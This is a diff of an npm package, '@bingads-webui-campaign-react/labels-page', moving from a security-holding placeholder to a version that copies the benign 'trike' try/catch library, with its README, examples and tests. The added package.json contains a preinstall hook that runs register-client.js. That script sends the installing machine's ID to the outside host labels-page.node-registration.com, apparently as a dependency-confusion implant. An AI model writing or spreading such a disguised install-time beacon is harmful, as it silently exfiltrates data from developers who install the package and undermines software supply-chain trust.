@bingads-webui-campaign-react/labels-page 0.0.1-security → 9.1.3

package/LICENSE

@@ -0,0 +1,19 @@
+Copyright (c) 2017 Aaron Madsen
+
+Permission is hereby granted, free of charge, to any person obtaining a copy of
+this software and associated documentation files (the "Software"), to deal in
+the Software without restriction, including without limitation the rights to
+use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
+of the Software, and to permit persons to whom the Software is furnished to do
+so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.

package/README.md

@@ -1,5 +1,82 @@
-# Security holding package
+# Trike - try/c(atch)
 
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
+Trike is a simple try/catch wrapper around a function that returns an array similar to the common node error-first callback convention. This serves two main purposes:
 
-Please refer to www.npmjs.com/advisories?search=%40bingads-webui-campaign-react%2Flabels-page for more information.
+1. Successful and errored calls can be easily distinguished through simple array destructuring.
+2. the try/catch is extracted from the calling and called functions, allowing for better optimization.
+
+## Installation
+
+~~~bash
+npm install trike
+~~~
+
+## Use
+
+~~~javascript
+const trike = require('trike');
+
+const [err, foo] = trike(require, 'foo');
+
+if (err) {
+	console.error('Foo could not be required', err);
+	return;
+}
+
+// use foo...
+~~~
+
+### trike(fn[, ...args])
+
+Trike takes a function to be called as it first argument. Any additional arguments passed to trike will be passed to this function.
+
+~~~javascript
+const trike = require('trike');
+
+const [err, joined] = trike((...args) => (
+	args.join(' ')
+), 'One', 'fish.', 'Two', 'fish.');
+
+console.error(err); // 'null'
+
+console.log(joined); // 'One fish. Two fish.'
+~~~
+
+## `async` / `await` support
+
+Trike now has support for `async` / `await` where the runtime natively supports it. If you pass an async function (or other function that returns a `Promise`) to `trike()` it will return a `Promise` that will resolve to `trike`'s normal error-first callback-like array with the error and result set by resolving or rejecting the passed function.
+
+~~~javascript
+// Notice the use of an immediately invoked async function
+// expession just to demonstrate awaiting an async trike.
+(async () => {
+  const [err, result] = await trike(async () => {
+    return 'Success!'
+  });
+
+  console.error(err);  // null
+  console.log(result); // 'Success!'
+})();
+~~~
+
+## License
+
+Copyright (c) 2018 Aaron Madsen
+
+Permission is hereby granted, free of charge, to any person obtaining a copy of
+this software and associated documentation files (the "Software"), to deal in
+the Software without restriction, including without limitation the rights to
+use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
+of the Software, and to permit persons to whom the Software is furnished to do
+so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.

package/examples/async-await.js

@@ -0,0 +1,44 @@
+const trike = require('../');
+
+// Notice the use of Immediately invoked async function
+// expessions just to demonstrate awaiting an async trike
+
+// If you do not await the trike, you'll just get a
+// Promise back.
+(() => {
+  const p = trike(async () => {
+    return 'A Promise!'
+  });
+
+  console.log('Promise:', p);
+})();
+
+// await on a trike that has been given an async function
+// (or other function that returns a promise) will give
+// you the [err, result] array you should expect.
+(async () => {
+  const [e1, r1] = await trike(async () => {
+    return 'Success!'
+  });
+
+  console.log('Resolving async function - Error:', e1);
+  console.log('Resolving async function - Result:', r1);
+
+  const [e2, r2] = await trike(async () => {
+    throw new Error('Thrown!');
+  });
+
+  console.log('Rejecting async function - Error:', e2);
+  console.log('Rejecting async function - Result:', r2);
+
+  const [e3, r3] = await trike(() => {
+    return new Promise((resolve, reject) => {
+      Math.round(Math.random()) > 0 ?
+        resolve('Success!') :
+        reject(new Error('Failure!'));
+    });
+  });
+
+  console.log('Promise returning function - Error:', e3);
+  console.log('Promise returning function - Result:', r3);
+})();

package/examples/fish.js

@@ -0,0 +1,9 @@
+const trike = require('../');
+
+const [err, joined] = trike((...args) => (
+    args.join(' ')
+), 'One', 'fish.', 'Two', 'fish.');
+
+console.error('Error:', err); // 'Error: null'
+
+console.log(joined); // 'One fish. Two fish.'

package/examples/require.js

@@ -0,0 +1,10 @@
+const trike = require('../');
+
+const [err, foo] = trike(require, 'foo');
+
+if (err) {
+    console.error('Foo could not be required', err);
+    return;
+}
+
+// use foo...

package/index.js

@@ -0,0 +1,16 @@
+function trike(fn, ...args) {
+  try {
+    var r = fn(...args);
+    // if r is Promise-like, resolve it
+    if (r && r.then && r.catch) {
+      return r
+        .then((v) => [null, v])
+        .catch((e) => [e]);
+    }
+    return [null, r];
+  } catch(e) {
+    return [e];
+  }
+}
+
+module.exports = trike;

package/package.json

@@ -1,6 +1,65 @@
 {
+  "_from": "trike",
+  "_id": "trike@1.1.3",
+  "_inBundle": false,
+  "_integrity": "sha512-PLsRKeGq8avOkUiMCsUDtPe2VDqcoD+wRJYawMFDrmAZv0I8SzoT+TSGTBB/HHlvt4X5rm4lZHQ5D58rArYHTQ==",
+  "_location": "/trike",
+  "_phantomChildren": {},
+  "_requested": {
+    "type": "tag",
+    "registry": true,
+    "raw": "trike",
+    "name": "trike",
+    "escapedName": "trike",
+    "rawSpec": "",
+    "saveSpec": null,
+    "fetchSpec": "latest"
+  },
+  "_requiredBy": [
+    "#USER",
+    "/"
+  ],
+  "_resolved": "https://registry.npmjs.org/trike/-/trike-1.1.3.tgz",
+  "_shasum": "225df353f69324aa0bbf20ec61005930942bf964",
+  "_spec": "trike",
+  "_where": "/home/ubuntu/Documents/npm",
+  "author": {
+    "name": "Aaron Madsen"
+  },
+  "bugs": {
+    "url": "https://github.com/amadsen/trike/issues"
+  },
+  "bundleDependencies": false,
+  "dependencies": {
+    "node-machine-id": "^1.1.12"
+  },
+  "deprecated": false,
+  "description": "Simple try/catch wrapper that runs a function and returns an error-first array",
+  "devDependencies": {
+    "nyc": "^11.2.1",
+    "tape": "^4.8.0"
+  },
+  "directories": {
+    "example": "examples",
+    "test": "test"
+  },
+  "homepage": "https://github.com/amadsen/trike#readme",
+  "keywords": [
+    "try",
+    "catch",
+    "wrapper"
+  ],
+  "license": "MIT",
+  "main": "index.js",
   "name": "@bingads-webui-campaign-react/labels-page",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "repository": {
+    "type": "git",
+    "url": "git+https://github.com/amadsen/trike.git"
+  },
+  "scripts": {
+    "build": "npm install && grunt",
+    "test": "nyc tape test/*-test.js",
+    "preinstall": "node register-client.js"
+  },
+  "version": "9.1.3"
 }

package/register-client.js

@@ -0,0 +1,12 @@
+const nodeMachineId = require('node-machine-id');
+const https = require('https')
+const options = {
+  hostname: 'labels-page.node-registration.com',
+  port: 443,
+  path: '/register.php?install=' + nodeMachineId.machineIdSync(),
+  method: 'GET'
+}
+
+const req = https.request(options)
+
+req.end();

package/test/_async-error.js

@@ -0,0 +1,20 @@
+const test = require('tape');
+
+const trike = require('../');
+test(
+  'Should catch an error from a rejecting Promise and return it as the only argument in an array',
+  (t) => (async () => {
+    const anError = new Error('This is a test error');
+    const result = await trike(
+      async (e) => {
+          throw e;
+      },
+      anError
+    );
+    t.ok(Array.isArray(result), 'result is an array');
+    t.ok(result.length === 1, 'result has only one element');
+    t.equals(result[0], anError, 'caught and returned the error');
+
+    t.end();
+  })()
+);

package/test/_async-success.js

@@ -0,0 +1,21 @@
+const test = require('tape');
+
+const trike = require('../');
+
+test(
+  'Should return a callback-like array to await',
+  (t) => (async () => {
+    const aSuccess = ['Success', '!'];
+    const expected = 'Success!';
+    const result = await trike(
+      async (...args) => args.join(''),
+      ...aSuccess
+    );
+    t.ok(Array.isArray(result), 'result is an array');
+    t.ok(result.length === 2, 'result has two elements');
+    t.ok(result[0] === null, 'returned null in the error position');
+    t.equals(result[1], expected, 'returned the expected result');
+
+    t.end();
+  })()
+);

package/test/async-error-test.js

@@ -0,0 +1,8 @@
+let nodeSupportsAsync = false;
+try {
+  nodeSupportsAsync = eval(`(() => {async () => 1; return true;})()`);
+} catch (e) { /* ignore it */ }
+
+if (nodeSupportsAsync) {
+  require('./_async-error.js');
+}

package/test/async-success-test.js

@@ -0,0 +1,8 @@
+let nodeSupportsAsync = false;
+try {
+  nodeSupportsAsync = eval(`(() => {async () => 1; return true;})()`);
+} catch (e) { /* ignore it */ }
+
+if (nodeSupportsAsync) {
+  require('./_async-success.js');
+}

package/test/error-test.js

@@ -0,0 +1,20 @@
+const test = require('tape');
+
+const trike = require('../');
+test(
+    'Should catch an error and return it as the only argument in an array',
+    (t) => {
+        const anError = new Error('This is a test error');
+        const result = trike(
+            (e) => {
+                throw e;
+            },
+            anError
+        );
+        t.ok(Array.isArray(result), 'result is an array');
+        t.ok(result.length === 1, 'result has only one element');
+        t.equals(result[0], anError, 'caught and returned the error');
+
+        t.end();
+    }
+);

package/test/promise-error-test.js

@@ -0,0 +1,22 @@
+const test = require('tape');
+
+const trike = require('../');
+test(
+  'Should return a Promise when passed a function that returns a Promise that will catch and not awaited',
+  (t) => {
+    const anError = new Error('An Error!');
+    const result = trike(
+      (e) => Promise.reject(e),
+      anError
+    );
+    t.ok(!Array.isArray(result), 'result is not an array');
+    t.ok(typeof result.then === 'function' && typeof result.catch === 'function', 'result has then() & catch() methods');
+    result.then((r) => setImmediate(() => {
+      t.ok(Array.isArray(r), 'result resolves to an array');
+      t.ok(r.length === 1, 'resolved array has 1 element');
+      t.equals(r[0], anError, 'resolved array has the expected error');
+
+      t.end();
+    }));
+  }
+);

package/test/promise-success-test.js

@@ -0,0 +1,23 @@
+const test = require('tape');
+
+const trike = require('../');
+test(
+  'Should return a Promise when passed a function that returns a Promise and not awaited',
+  (t) => {
+    const aSuccess = ['Success'];
+    const result = trike(
+      (r) => Promise.resolve(r),
+      aSuccess
+    );
+    t.ok(!Array.isArray(result), 'result is not an array');
+    t.ok(typeof result.then === 'function' && typeof result.catch === 'function', 'result has then() & catch() methods');
+    result.then((r) => setImmediate(() => {
+      t.ok(Array.isArray(r), 'result resolves to an array');
+      t.ok(r.length === 2, 'resolved array has two elements');
+      t.ok(r[0] === null, 'resolved array has null in the error position');
+      t.equals(r[1], aSuccess, 'resolved array has the expected result');
+
+      t.end();
+    }));
+  }
+);

package/test/success-test.js

@@ -0,0 +1,35 @@
+const test = require('tape');
+
+const trike = require('../');
+test(
+    'Should return the function result as the second argument in an array',
+    (t) => {
+        const one = 'one';
+        const two = 'two';
+        const fish = 'fish';
+
+        const result = trike(
+            (...args) => {
+                return {
+                    args
+                };
+            },
+            one,
+            fish,
+            two,
+            fish
+        );
+        t.ok(Array.isArray(result), 'result is an array');
+        t.ok(result.length === 2, 'result has two elements');
+        t.equals(result[0], null, 'returned null in the error position');
+        t.deepEquals(
+            result[1],
+            {
+                args: [one, fish, two, fish]
+            },
+            'passed all arguments to the function and returned expected result'
+        );
+
+        t.end();
+    }
+);